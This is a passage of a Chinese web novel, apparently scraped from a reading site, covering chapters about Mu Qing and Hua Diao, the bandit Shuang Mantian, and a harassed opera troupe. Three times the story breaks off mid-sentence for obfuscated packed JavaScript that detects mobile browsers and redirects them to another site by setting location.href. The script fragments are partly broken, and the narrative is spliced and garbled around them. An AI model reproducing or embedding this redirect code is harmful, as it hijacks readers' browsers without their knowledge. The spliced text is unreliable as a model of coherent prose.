摸索着点燃了桌上的白烛,光芒四溢,慕卿看到了不远处阴影下隆起的被子,这才放下心,带上门转身出了屋。 花雕把脑袋从被子里伸出来,有些纳闷,慕卿来干嘛?难不成是知道她怕黑,见她没睡,特地来给她点个蜡烛? 走了也好,免得尴尬。 约莫一刻钟后,慕卿回来了,遒劲纤长的手指间端着一个白玉碗。 “见你醒着,给你熬点红糖姜茶驱寒,你快趁热喝。”这个法子是隔壁大婶晚膳后告诉他的,本来想着已经吃过晚饭,明日再试,但花雕现在不太舒服,这么做也不知道有没有用,能不能为她减轻些疼痛。 亲眼看着花雕咕噜咕噜地灌完一大碗红糖姜茶,慕卿满意收碗离去。 “那个,你好好休息。”末了,还不忘嘱咐一句。 花雕瞟到了他脖子到耳根的红,师父今天怎么给人怪怪的感觉。 没想到事情还未彻底完结。 第二天一早,花雕起床,被眼前的景象惊呆了。 慕卿给她买了一堆棉花和棉布,一大早上就坐在桌前,缝缝补补。 那天大夫跟花雕嘱咐过,要用布条装上草木灰垫着,所以师父是怎么知道的?花雕没有做过女工,只是草草地用棉布包了草木灰,粗陋地缝在一起,今早晨起时,草木灰洒得满被子都是。 花雕刚想问,却不经意看到某团棉花上有团诡异的红色,眸间闪过一丝忧虑,赶忙跑过去一把抓住慕卿的手查看:“你受伤了?” “没……”之前慕卿不小心扎破了手指,没有来得及收拾,就被花雕发现了。 慕卿的手很白,白得毫无血色,花雕翻来覆去地看了好几遍,确认没有受伤以后,才松了口气。 “哪来的血呀?” “刚才……额……我杀了一只鸡……额,蹭的它的吧。”慕卿揪着自己的袖口,心虚道。 起初花雕看到那密密麻麻错乱的针脚,心中是有些嫌弃的。但转念想,这原是属于她的个人私事,慕卿本没必要为她做这些,更何况这些蹩脚的针脚暗示着,他和花雕一样是个门外汉,虽说这对于慕卿而言绝非易事,可他还是在为此努力着。 看着慕卿认真穿针引线的模样,花雕心中弥漫着莫名其妙的温暖,压下声音,撒娇道:“师父……” “看你不太舒服,可能没心情做这个,我才做的。”月事来了需要这个也是隔壁的大婶告诉他的。 自从花雕来了葵水,慕卿一天好几趟往隔壁婶子家跑,生怕有什么遗漏,不能很好地照顾到花儿。 慕卿早想好了理由搪塞,以前自己是大户人家的小姐,凡是这些细活都是下人们做的,后来家门没落才带着花雕四处奔走。先前生花雕的时候难产,为了保命动了刀子,后来就再也没有来葵水了,所以自己根本也没动手做过这些。 做女孩子真难,才这么一个小玩意就差点要了他的老命,慕卿感叹,那些专职做女红的姑娘们真的是很不容易。 还好,花雕不用疲于生计。如果可以,慕卿想要养着花雕一辈子,让她永远衣食无忧,不用为这些琐事发愁。 慕卿大清早就去了集市,但是隔壁婶子并未告诉过他这个东西没有卖的。他穿着女装,沿着一街的店铺问着,掌柜们都用质疑的目光瞧着他,他也不在乎,终于有个好心的老板告诉他,这个东西需要买材料自己做,慕卿这才恍然大悟。 买好棉布、棉花、针线等材料以后,慕卿还特地请教隔壁婶子要怎么做,不然他一个大老爷们,哪里会这些针线活。 慕卿和花雕长期辗转于各地,虽是邻居,婶婶对他们也不是很了解,但还是耐着性子给慕卿讲解,闲聊之余,还笑吟吟地问慕卿:“你们是什么关系呀?” 慕卿看着婶子手中的动作,不假思索答道:“我是她师父,也是她娘亲。” 末了,看到慕卿缝得歪七扭八的前几个针脚,婶子不解地问了句:“慕姑娘,你的失忆症好了吗?” 问这句话,只是出于关心,免得前脚刚学会了针法,转眼又不记得了。 “没……没呢……还是有些东西记不起来,这 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“我不知道呀。”慕卿也没有认真地计较过这个问题,虽然一直四处漂着,二人却衣食无忧。 而且慕卿在耿安国有大大小小十几处房子,有的是茅草屋,有的是小庭院,但毫无例外的,每个房子下都有一处酒窖,每个酒窖都藏有成百上千的酒坛子。 花雕对钱没有概念,她的日常花销都是由慕卿打理,慕卿也对钱没有什么概念,见着喜欢的东西就买。虽然只有两个人吃饭,却总是一桌子菜,花雕对吃尤为热爱,从不浪费。 慕卿厨艺好,每天一日三餐换着花样吃。 “哎呀呀,又胖了?”某天花雕照着铜镜,揪着自己脸上的肉,埋怨着一旁女装扮相正在描眉的慕卿。 铜镜中的人儿肤白胜雪,唇红齿白,一双纤纤柔荑,眸中含情,似笑非笑。花雕看了看自己婴儿肥的脸蛋,愣了一下,啊啊啊啊,不公平,她家的师父,怎么可以比女子都好看!!! 为什么师父要着女装?第一次花雕问慕卿这个问题的时候,慕卿撩着花雕的长发,在手上把玩着,嘟囔了一句:“为什么只有女孩子可以戴好看的饰品,可以涂美美的胭脂?我羡慕。” 后来令花雕深信不疑的是,慕卿男扮女装,为的就是戴各种花枝招展的头饰和涂各种五颜六色的胭脂。除去那句被理解成“兽兽不金”的“授受不亲”,从没人告诉过她什么是男女有别,什么是不伦不类,所以花雕从来都觉得慕卿这样装扮没有任何问题。 看向镜中人,花雕感慨,一个男子,做到了比女子还要精致,这让天下女子怎么活?没人性啊没人性,花雕唏嘘着摇摇头。 “怪我?谁让你不干活多挣些银两给自己买些饰品和胭脂的?”慕卿看了看铜镜中的自己,又拿起桌上的黛子浅浅地描着。 花雕开始怀疑慕卿这句话的可行性。她不是没帮慕卿干过活,可慕卿真真切切地怀疑她败家,不是今天打碎酒坛子,就是明天加错材料比例,让慕卿的心血付诸东流,时间久了,慕卿认命,也不让她干任何活,任由她袖手旁观。 花雕要是想学点什么,他一定会全心全意地教她,但有时候花雕掺和进来,却让事情越来越乱,慕卿开始深刻地反省,他到底适不适合当一个师父? 有了花雕的参与,让慕卿觉得,挣钱,真是一件不容易的事情。 问题回到慕卿有多少钱上面来。 有时候会有些老主顾指名道姓地找慕卿买酒,慕卿也会定期去酒楼卖酒。他的酒更胜寻常酒家,卖的价也更高,挣得自然多。 花雕管不住钱,慕卿前脚给她的碎银子,后脚便没了影,不是被花雕采购了什么东西,而是她粗心大意弄丢了,故而所有的钱都归慕卿管,一旦两人在集市上遇到了什么花雕喜欢的小玩意儿,慕卿都会毫不犹豫地买给她,无论多贵。 用慕卿的话来讲就是,他绝对不允许自己家的小丫头羡慕别的小姑娘,要买什么必须安排上! 从小到大,花雕基本没受过什么委屈,尽管四处奔波,亲友零落无几,但慕卿总是站在她这边,向着她,护着她,宠着她。除了慕卿有时候举动有些奇怪,似乎是有事瞒着她一样,再无其他任何不愉快。 27. 戏子入画满临初13 前脚霜满天出了柳源戏班大别院,后脚一个布衣打扮的人就贼眉鼠眼地溜进了芈桑影寝宫映雪殿。 “又有什么新情况吗?”沉香缭绕,珠帘逶迤倾泻,锦榻上的人支着半个身子,凤眼微翕,似是漫不经心地问了句。 霜白两家联姻,将他芈家排除在外,这对芈家无疑是威胁。八年前芈氏偷摸联合外邦,设计绑架毒杀霜满地,霜满天为救霜满地险些命丧长渝,负伤后突然没了踪影。前段时间朝廷剿匪,芈桑影意外查到霜满天居然盘踞铁岭山一方,落草成了寇。 耿安国这么大,白溟祉和白霜氏都在朝中身居要职,宫里当然有他白家呆的地方。可这霜满天因为吃了场败仗,就躲进铁岭山做起了风餐露宿的匪寇,也不知打的什么算盘,白家和霜家每天宫里宫外抬头不见低头见的,倒不怕他们耍什么花招,只是这不在眼皮底下的人,才更让人不放心,索性芈桑影就专门派人盯着霜满天。 哪知第一批假装逃难客商意图混进回风寨的探子,半道被劫得就剩裤衩子。最近铁岭山行客寥寥,不义的有钱人少之又少,多少有些入不敷出,近期也没听说哪国有些什么大灾大难,赵亮嫌弃他们人多吃粮多也不收留他们,打劫完就给人赶下山去。无奈,一群人只得驻扎在山脚,远远地观望,山上一有风吹草动,山下就草木皆兵。 回风寨共一百二十匪,芈氏倒是好奇,霜白两家就这两个儿子,现如今霜满地已死,待两家百年之后,再不生个儿子出来,凭他霜满天一介糙胡子武夫,能成什么气候。 “报!国主,两天前,有人在西南方看见了白色的信号弹,随即霜满天出了山,我们就派人跟着他,他去的是一个戏班,只呆了片刻便离开。” 霜氏一向以信号弹联络,白色是最普通的,代表着无关紧要的事宜。 戏班?芈桑影马上就起了疑心,从未听说过霜满天有听书看戏这般闲情逸致,怎么会跟一群唱戏的勾搭上,难不成这里面有什么玄机? “属下特地派人查了一下,这戏班起源于五六十年前,如今是发展到第三代,他们一路走南闯北,小有些名声,只是咱们耿安国尚武不崇文,地界也小,这样的戏班没什么发展前程。 不过前段时间他们去了玉霄国,那玉霄国太子是个戏痴,喜欢这些附庸风雅的玩意儿,按理说呆在玉霄国更有前途,可近些日子这一班子人又回来了。 属下还查到,这个戏班带头的那人叫沈佳期,一班子人都在咱们耿安国有户籍登记。” 户籍登记是在柳源戏班刚成立之时就有的,为的是让大家有个正式的身份,这样在外行走时,才不会被当成流民和可疑身份的人。毕竟没来戏班的时候,大家都是地为床天为被的漂泊之人,过着靠老天爷赏饭吃的日子。 “很好,接着跟,另外,把这戏班再查查,看看有什么可疑之处。”他芈桑影才不信,戏班和霜满天这两者之间没有任何关联。 “好的。” 许久,珠帘后的人没听见动静,似是寐了,地上跪着的人才道了声“属下告退”离去。 察觉到后面有尾巴,霜满天也不急着回寨,索性在东市买了酒,在西市买了胭脂,在南市买了布匹,在北市买了点心,绕了好几个胡同,兜了几个圈子,又请伙计把他买的东西送到回风寨,这才转身扎进媚香楼。 此外,他还特意嘱咐送货小斯,若有人问起东西送往何处,便回问询之人“媚香楼”。 媚香楼是红尘风流之地。 霜满天眼睛都没眨,朝门口接客的老鸨丢了一大锭银子,被人笑意盈盈请了进去,尔后他点了一个姑娘,差使她去拿酒杯。 开窗探查一番,确定窗外无可疑之人后,霜满天御风而下,准备打道回寨,走到半道像是想起什么似的,直奔映雪殿。 可怜的探子因为身无分文,被拦在了门外,却迟迟等不到霜满天出来。 芈桑影这个龟孙儿素来喜欢花花草草,有什么好东西肯定第一时间往自己屋子里搬,霜满天这样想着,十有八九这黄泉花就在映雪殿。 霜满天躲在梨花翠玉屏风后面屏气凝神,听着探子眉飞色舞绘声绘色汇报自己的行踪,心里冷哼一声,消息倒是传得快。 只不过后来版本就变成霜满天在市集采买胭脂和布匹赠予美人博佳人一笑,后前往媚香楼赴约,和美人开怀畅饮共度春花秋月去了。 霜满天翻了个白眼,从心底里唾弃,这探子想象力还挺丰富,他咋不去写书呢? 芈桑影闻言,惊愕,没想到霜满天还有这一爱好,所以接下来美人计要不要考虑下?自古英雄难过美人关,要怪就怪这霜满天也是个俗人吧,七情六欲,温香软玉,终归是逃不脱。 后来又有一个探子,神色慌慌张张地跑进来。 霜满天躲在殿内偷瞧着,正是他在媚香楼看见的那个“尾巴”,又是一个白眼,内心咒骂道,芈桑影你个王八蛋倒是上心,到底派了多少个人跟着老子? “那霜满天不是进了媚香楼嘛,我们没钱进,被拦在门口。等了很久也没见他出来,后来一问,他竟然早就走了。” “蠢货,一个大活人就这么被跟丢了。”芈桑影怒不可遏,踹向那个探子,那探子挨了一脚,面上尽是痛苦。霜满天只当是狗咬狗,淡定看戏,又用余光在屋子四角去搜寻解药原料黄泉花的踪迹。 后来陆续又有了几个探子,依稀报了些什么这大人那王爷的琐事,听得霜满天都快睡着了。霜满天只得在内心感慨,看来这汇报的精彩程度,跟个人文学素养还有关。 终于,等芈桑影屏退下人,浅浅睡去的时候,霜满天毫不客气地抱着早就看到的两盆花,踩着屋顶的瓦片一个水上漂飞走了。 得来全不费工夫,还能免费看戏,多好呀! 等芈桑影醒来的时候,就看地上龙飞凤舞地铺了十几个大字:这花我看上了,借来养几天,霜满天留笔。 芈桑影眼前一黑,差点没晕掉,心中只觉无限心疼,这花是别人送的,也就算了。这可是花涟纸,他托人花大价钱从别国购得,霜满天就这么一张纸一个字,全给他浪费了! 下面这些人都是干什么吃的!这么大个人跟丢了也就算了,居然还在光天化日之下明目张胆地从他的眼皮子底下抢东西,而今是芈氏即位,他霜满天这般目中无人,简直是要造反。 底下人喊冤:“皇上,那霜满天武功了得,又诡计多端,我们完全不是他的对手啊。” 芈桑影气不过,下令拖出去就是二十大板,隔得老远,芈桑影都听见了那人的哀嚎,可还是不消气。 不行就是不行,你承认也没有错吧,但是怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598169|156000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么可以长了他人志气,灭了自家威风呢! 第二天一早,芈氏的狗腿子就来到柳源戏班。 来人有两个,气势汹汹,般若见了头疼,来者不善,善者不来,这场景,似曾相识。 门是被踹开的,一进门来人就发问:“霜满天呢?” 彼时沈佳期带着无垢和花伶外出添置家用。小孩子好奇心重,精神头也足,又聒噪,一路还能活跃气氛,沈佳期买东西特别喜欢带这两个小鬼。 大家面面相觑,要找霜满天不是该去土匪窝里找,来柳源戏班做甚? 见无人应声,两人索性开始翻箱倒柜,砸屋里的东西。 “两位爷,消消气,我们这没有霜满天,那霜满天在回风寨,不在咱们柳源戏班。” 来人本来就想探下柳源戏班的底,一听这话,他们居然真的认识霜满天,乖乖啊,这是真的有事,手上的东西砸得更欢了。 般若本来想去阻拦,硬生生接了来人一掌,被打到口吐鲜血。 随即见来的探子面露疑色,霜满天的手下会这么弱吗?此人居然没有内力。 叶童舟一瘸一拐扶起般若,替他擦去嘴角的血迹,又给他顺了顺气。见势不妙,戏班里的大家从四面八方抄起家伙赶过来,有的拿了长缨枪,有的拿了锄头,有的拿了扁担……就连何婶,都拿了把炒菜的锅铲。 一场恶战一触即发。 此时,采购的三人正在归来的路上。 老远就听见大别院里闹哄哄的,沈佳期假装落了东西,让白无垢带着花伶去西街买醋。 民以食为天,柳源戏班吃饭也很讲究,西街的李记醋庄是盛名在外的老字号,质量没有话说,两个小娃娃没有起疑,屁颠屁颠地就去了。 这一来一去,至少得半个时辰,沈佳期给的钱还有多的,他们也许会贪嘴买些吃食,回来得会更晚,要是出了什么事,这两个小家伙逃命的时间是够了。 “霜满天他不在这里吗?妈的,这小子够鸡贼,偷了东西就跑了。” 来人话音刚落,沈佳期推门而入,“咣当”一声把门叩在墙上砸得老响。 屋里已经乱成了一锅粥,不少人被打得鼻青脸肿,挑事者依旧盛气凌人。沈佳期扼腕,人家是练家子啊,咱们一帮手无缚鸡之力唱戏的怎么斗得过啊。 “来者即是客,怎么可以让客人站着呢,来人,看座,上茶——”沈佳期尾音拉得老长,大有气吞山河之势,不输来人。 班主发话,大家只得照做,给二人端来了茶水和板凳,好生伺候着。 期间两人用掌风悄悄探了下沈佳期,也是没有内力的。 “月落乌啼霜满天,江枫渔火对愁眠。二位爷消息真是灵通,咱们戏班上次在铁岭山遇见了那群土匪,被劫了钱财,听着那霜满天名字颇有诗意,就来了灵感,排了出新戏叫《月落》,可谓是因祸得福吧。现如今正在排练阶段,等戏齐全了,到时候还请二位爷赏脸。”沈佳期笑脸相迎,谄媚道。 铁岭山上的土匪闹得很凶不假,很多地主官宦人家对此怨声载道,只是没想到柳源戏班和霜满天还有这些过节,前些日子他们也的确是路过回风寨,原来这霜满天和戏班是打过照面的,如此他们认识霜满天便说得通了。那二人算是探查到一些有用的信息,哼哼两声就走了。 28. 戏子入画满临初14 待二人走远,沈佳期马上收去笑脸,回屋换衣服去了——全身衣衫早已吓得湿透。他不是不怕,只是有这么多人需要他,危难时刻,作为班主,他理应挺身而出。 刚换好衣服出门,般若就迎了上来,面色惨白,虚弱道:“班主,咱们哪来什么《月落》给他们看啊?” “你看这二位像是来看戏的?”沈佳期挑眉,反问道。 见般若受伤,沈佳期一阵懊悔,明明戏班才来临初没多久,一切都没定数,他不该出去买东西的,班里这么多人,难道还缺个跑腿的不成?如果他在家里的话,就算有人来闹事,受伤的也是自己。 映雪殿中,芈桑影听人絮絮说完他们在大别院里威逼试探柳源戏班众人的经历,心想,没有纠葛最好,这样他也省心。 随即面露狐疑,不对啊,前脚霜氏的信号弹出现,紧接着霜满天就来到临初,还去了戏班,这未免太过巧合? 饭后,柳源戏班的大家围在一起,就今天的事情各抒己见。 “准是冲着白无垢来的,要不趁夜带着他走?”有人建议道。 上次叶童舟上台前有人放了火,他们没当是警告,才酿成了后来的惨剧。这次对方意图明显,他们一进门就要找霜满天,这屋子里唯一一个和霜满天有关系的人,就是从回风寨里带出来的白无垢,可不得提前想好对策。 可是走,能走到哪里去?霜满天会把他放出来,或许就说明他已经意识到,回风寨可能没有那么安全了。 “我不能走,他们是冲着天哥来的,天哥一定会想办法解决,要是我走了戏班不就更可疑了嘛。”白无垢不知其中厉害,也不知道自己的身份,只当是有人来找霜满天的茬。 见众人面露为难之色,白无垢补充道:“要是下次再有什么事,你们把我交出去就好了,保证他们不会伤害大家。” 交出白无垢?这可不行,可白无垢说的也在理,沈佳期想着,便吩咐道:“从今以后,钟情,你负责采购物资,叶童舟,你心细,吃点亏,负责班里账务盘算。钟情买东西之前做好预算,交给般若审查,然后找叶童舟拿钱。” 钟情和沈佳期同岁,唱的是老生,平时戏不多,没那么忙,又知花钱分寸,比较会过日子,很适合采购。 他沈佳期以后就坐镇班里了!真是绝了,每次一出门那些不三不四的人就来了,上次是拜贴,他倒是要看看,到底还有哪些牛鬼蛇神。 听闻白天有人大闹柳源戏班,一不做二不休,霜满天索性差人在四面八方的山角旮旯里都放了信号弹,白色的,红色的,紫色的…… 按照颜色重要性依次递增,白黄蓝红粉紫。 真真假假猜不透,芈氏看了自然是慌,这霜满天又在搞什么幺蛾子?赶紧加派人手盯着霜满天。 霜满天倒也配合他们,东边的酒楼,西边的茶馆,南面的铺子,北面的戏堂一一走了个遍,还接二连三地去拜访各路朝中好友。 眼瞧着霜满天走遍了大半个朝廷,芈氏自觉头大,也想不通霜满天是和朝中重臣有勾结还是单纯地叙旧,为此食饭不思,没几天身形消瘦了一圈。 一起慌的人还有白溟祉和白霜氏,二人还以为宝贝儿子们出了什么差池,连夜驱车赶往回风寨。 自从半年前芈氏知道了霜满天在回风寨,这早就不是秘密了,二老时不时还去寨子里看孩子们。只是芈氏一直都被蒙在鼓里,回风寨里还有个“死”了又“活”过来的霜满地,芈氏更不知道,这回风寨,就是霜满天为保护他设的一个幌子。 朝中固然是危险,但若是守踞一方要塞,以天险相结合,任他芈氏插翅也上不了回风寨。况且,寨里的众人都是霜满天手下忠心可鉴的将士,当初他带上山很多亡去故人的子嗣,并把自己的弟弟混淆在其中,所以没人知道白无垢的身份,再者,回风寨从来都不长期收留外人,就是为了避免出现叛徒。 面对爹娘惊惶的神色,霜满天翘着二郎腿,接住自己抛在空中的花生米,淡定答道:“近来喜欢上这些花里胡哨的东西,看着喜庆,就放来玩玩,怎么了?” 把信号弹当烟花放,霜满天还是头一个。 见儿子依旧没个正形,一副完全不像有事的样子,母亲霜凝芳悬着的心算是落下了,趁机追问道:“臭小子,你可要收收心,两年之后,芈氏下台,你还得来继承王位。” 继位是次要的,保霜白两氏周全才是主要目的,当初两家联姻是先皇的意思,为什么单单将芈家排除在外,先皇还未表明其中缘由,就意外暴毙。八年前长渝一战,究竟谁是幕后黑手?若芈氏真的有歹心,这么多年也该行动了。 霜满天被这句话分了心,让自己丢的花生米砸到了脑门,忙叫苦道:“别啊娘,带兵打仗可还行,咬文嚼字的事实在是不适合我,要不你让老爹再坚持十几年,我帮你们培养一下满地,我看他还行。” 他从来没有想过万人之上,朝中规矩太多,不自在,没有这回风寨逍遥快活,当皇上哪有当土匪好?再说要是他真的在乎王位,凭他这暴脾气,早就把芈氏拉下台了,哪里会任着一个涉嫌毒害自己亲弟弟的人在他头上蹦跶。他更不会把自己的二爪螭龙玉璧给白无垢,那玉可是国君的象征。 霜满天觉得白无垢很像他,性子极野,隔三差五地就溜下山,霜满天把玉佩给白无垢戴着,是为了他下山的时候不被人欺负,山上众人也并未质疑,只当是寨主为了保护一个贪玩的孩子,因为在他们心中,霜满天才是那个要登上王位的人。 得玉璧者得天下,二爪螭龙玉璧共有三块,现如今一块在芈氏手上,一块在白溟祉手中,最后一块就在霜满天这里。三家如今是井水不犯河水,早就没有了百年前要好的局势,尤其是霜白两家联姻后,芈氏跟防贼似的防着他们。 沈佳期这几天都守在戏班,却再没了来客,得了空他还让人把般若受伤的消息递给了司空冰, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598170|156000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没想到司空冰比送信的人回来得更快。 隔老远,沈佳期看着门外一抹青青草色跑得上气不接下气的女子,唏嘘,果然呐,这女人都是刀子嘴豆腐心,平时口口声声叫着姜云蔚“死鬼”,他要是真的变成鬼她怕是比谁都伤心吧。 司空冰在戏班里住了几日,日日常伴般若左右。 有司空冰悉心照料,般若的内伤好得很快,可是般若依旧是一副要死要活的模样。尤其在司空冰出门后回来的一刹那,本来在走动的般若立马以光速躺回床上,嘴上哼唧着说自己头疼脑热各种不舒服。 傻子都看出来了,他是怕自己伤一好,司空冰就走了。 晚饭前,花伶和司空冰同坐在院中择菜,花伶揪着豆角,糯声糯气道:“姐姐,要不你就呆在这里吧,班主大大说了,只要你愿意,你可以把这里当成自己的家。这里有红柳姐姐,还有何婶,你要是觉得闷了,可以找她们聊天。” 沈佳期路过听见了,纳闷:我什么时候说过这话? 司空冰向来喜欢孩子,面前的“小男孩”脸粉扑扑的,一双剪水秋眸极让人稀罕。她先是揪了他的脸蛋,尔后“咪啾”亲了他一口,随即满心欢喜地道了句:“好。” 不远处白无垢吹了个口哨,朝花伶勾了勾手指,花伶以为又有什么新鲜好玩的事发生,立马放下手中的活计跑过去:“无垢哥哥怎么啦?” 白无垢笑得灿烂,一口大白牙显得人畜无害:“来,我教你一招,下次你要再看见这种年轻貌美的小姐姐,想要把她留在戏班的话,你就这样……” 白无垢趴倒在地,一把抱住花伶的大腿,抬头,用极其可怜无辜的眼神看着她,给花伶做示范。 花伶似懂非懂,问了句:“那哥哥呢?” “要是哥哥就让他滚蛋,你都有我了还要什么别的小哥哥?”白无垢嘴上说着,手上也不消停,又去揪她圆鼓鼓的包子脸。 花伶吃痛,尝试着把脸上的肉从他的魔爪里拉出来,却以失败告终:“可是班主他不同意怎么办,他说了柳源戏班不养闲人的……” “那你就用刚才我教你的那招,扑上去抱住班主的腿,他不答应你就别松开知道了吗?而且还要一边抱一边嚎,这样才有气势。” “哦,这样啊。” 公冶垚在一旁练戏听见了,一折扇敲在白无垢的后脑勺上:“不教好,又给师兄出什么馊主意。” 白无垢虽然年长于花伶,但是因为来戏班晚,所以他是师弟,花伶是“师兄”。 很长一段时间,柳源戏班再无人造访,一切都恢复了正常,大家又开始出活,勾栏瓦舍戏台,到处都有他们的身影。 叶童舟也没有时间伤春悲秋,一外出就有收入,算盘打得叮啷响。还有小花伶,时不时练了新的唱段给他听,听着她越来越正的唱腔,叶童舟颇为满意地点点头。倒是白无垢,几个月来一点长进都没有,唱个戏跟鬼哭狼嚎似的。 29. 酒尽桃花凉13 近十年,有个问题困惑花雕很久了,为什么慕卿隔一段时间就会消失几天,而且消失的时间还像是很有规律似的,花雕掐指一算,这样的事大概每三个月发生一次。 为了解开心中的疑惑,花雕开始想方设法从慕卿那里套话:“师父,你每次离开我,都干什么去了呀?” 慕卿倒是不好奇为何她会这么问,在心底已经排练过无数次答案,淡定道:“卖酒啊傻孩子,不然你这些吃的穿的哪里来?” 花雕拽着他的袖子撒娇,嗲声嗲气道:“那下次你带上我好不好,人家也想一起去嘛。” 她不相信只是卖酒这么简单,肯定还有别的,指不定慕卿藏了什么不为人知的小秘密。 慕卿语塞:“……” 他没骗她,卖酒是真的,剩下的时间在月半“渡劫”也是真的,不过他不想告诉她这件事,也不是很想带花雕去,心想着万一被她看见了什么不该看见的事,那就不好了。 可花雕依旧拽着他的广袖不放手,望着他,满眼的期待,他自然是怕她失落的,禁不住她的软磨硬泡,终究是说了句“好”。 离了望南山,慕卿问她夏天想去哪里,本以为她会说全县,毕竟她和赵泽毅青梅竹马,多少年的玩伴了。花雕却思索了片刻:“临初,临初可以吗?师父我们在耿安国这么多年了,还没有去过临初呢。” 慕卿不想去临初,那里作为一国之都,人多口杂,容易被人看出端倪。可他又怕花雕的期望落空,就应道:“嗯,好,就去这一次。” 慕卿已经打好了心里的算盘,到时候就找个理由离她远一点儿,别让她发现什么不对劲。 自己的小小愿望得到了满足,花雕开心得一蹦三尺高,上去就是一个大字抱住了慕卿:“磨精,最爱你了。” 慕卿满眼嫌弃地把她从身上扒下来:“少来。” 这也太容易满足了,这要被人哄得团团转,以后二两银子彩礼就跟哪个男人跑了,他还不得亏大发了。 细算,花伶年将十五,按耿安国例律,女子十六便可出阁,想着那一天很快就到了,慕卿心中竟然有一点不舍,这是她从小看着长大的丫头啊——也不知是从什么时候开始,她的一颦一笑都牵动着他的心。 见她笑,他也跟着笑;她哭,他也跟着难过;她犯了大错,他打在她手上,痛在自己心里……慕卿想,这大概就是命中注定吧,上苍给了他不该背负的劫难,也给了他这么好一个女孩子。 离了望南山,就是临初边界,花雕哼着歌儿飞快地驱着马,开心得像个索要糖果得到了满足的小孩,恨不得下一秒就飞到临初。 听着车厢里的酒坛叮当作响,慕卿心里有埋怨,在后面絮叨道:“唉,小傻瓜,慢点儿,别把我的酒坛都磕碎了。” “嗷。”花雕这才知失了分寸,拢了缰绳,放慢速度。 都市自有都市的繁华,临初远胜于她之前去过的任何地方,巍峨高耸的楼宇林立,自成一路气派,这里的人们都环珏佩玉,谈吐中里有股子温文儒雅的气质,哪像之前她在湖浙遇到的两个婶婶,光着膀子扯着嗓子站在田埂上一骂就是半下午。 以前觉得慕卿站在人群里就是鹤立鸡群,现在看来这里人人举止谈吐都不凡,他扎在人堆里倒是一点都不起眼,京城里的人愣是把慕卿比下去了是怎么回事?神仙太多了吗? 听着身旁人一声声“哇嗷”,慕卿打心底觉得,此时的花雕像一个进城的乡下人,没见识表露无疑,可口嫌体正直,慕卿生怕她走丢了,紧随着她,一路走走瞧瞧,寸步不离。 他们去了临初最好的酒楼,几十坛子酒也不知道卖了多少钱,花雕见着慕卿揣着一把白花花的银子进了兜,她向来不问柴米油盐,这些事都归慕卿操持着。 二人在酒肆吃过饭,投宿了客栈。 花雕上午的新鲜劲儿过了,下午开始像个小尾巴一样跟着慕卿,生怕他跑了似的,甩都甩不掉,就差没有跟着他去茅厕了。 十五的那天月亮很大很圆,天空中没有半丝阴云的遮挡,月光如水般倾泻,铺撒在九州大地。 慕卿甩不开花雕,没办法,只能早早地告诉她,他睡了,不要来打扰他。可花雕想着今晚月色甚好,想要和他一起看月亮。 只是赏月而已,这么小的要求慕卿没理由不答应吧。想想,两个人,并肩而坐,天涯共此时,就……很浪漫啊…… 花雕犹豫着要不要敲门,却听见门内有动静,太好了!慕卿还没睡。 屋内并未点灯,花雕偷着从门缝瞧过去,月光透过窗纸照进屋中,笼着一个熟悉的身影,那人不是慕卿是谁? 像是处在火中,又像是在冰窖里,如同蚂蚁疯狂地噬咬着每一寸皮肤,慕卿难受得厉害。他的脸色苍白,体无完肤,身上布满了道道的血痕,即便布料早就被抓烂了,双手沾满了鲜血,却还在身上胡乱狂暴地抓挠着。 花雕突然忆起来五岁那年,她偶然推门而入,那个双目赤红的他,开始真真切切地意识到,那一切,真的都不是梦。 眼前的景象让人难以置信,花雕捂着嘴,哽咽着推门而入,抱住他:“慕卿,你怎么了慕卿?” 趁着意识还不是很混沌,慕卿一把打晕了她。 第二天一早,慕卿正坐在房间的矮桌前,悠悠喝着茶,看着一旁的花雕望着自己犯怵,又给她倒了一杯,示意她过来喝。 犹豫许久,花雕终于启齿:“师父,昨天晚上……” “昨天晚上怎么了?做噩梦了吗?” 蓦地望向他洁白的脖颈,怎么回事?昨天明明看到上面有一道血痕。 “你干嘛?”对坐人感受到了她刨根问底刀子似的目光。 “我要看看!”花雕一把过去抓住慕卿的衣领,把他上半身衣服扒了下来。 依旧是她羡慕的肤如凝脂,光洁得跟刚剥了壳的鸡蛋似的。 没有!什么都没有! 慕卿狐疑地望着她,一副“你在干嘛”看戏的模样。又反手摸了摸她的脑袋,嘀咕了一句:“没发烧呀。” 地面也光洁如新,花雕记得,这里,这里,昨天满地都是血渍啊! 不对,一定有什么不对,这肯定不是梦,花雕蓦地想起,昨天她抱慕卿时,自己也沾上了满身的血迹,那件衣服,跟现在穿的不是同一件…… 花雕回到房间里倒腾了一番,她衣服呢? 两个时辰以前…… 慕卿刚起床,看见地上躺着的花雕,望了望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 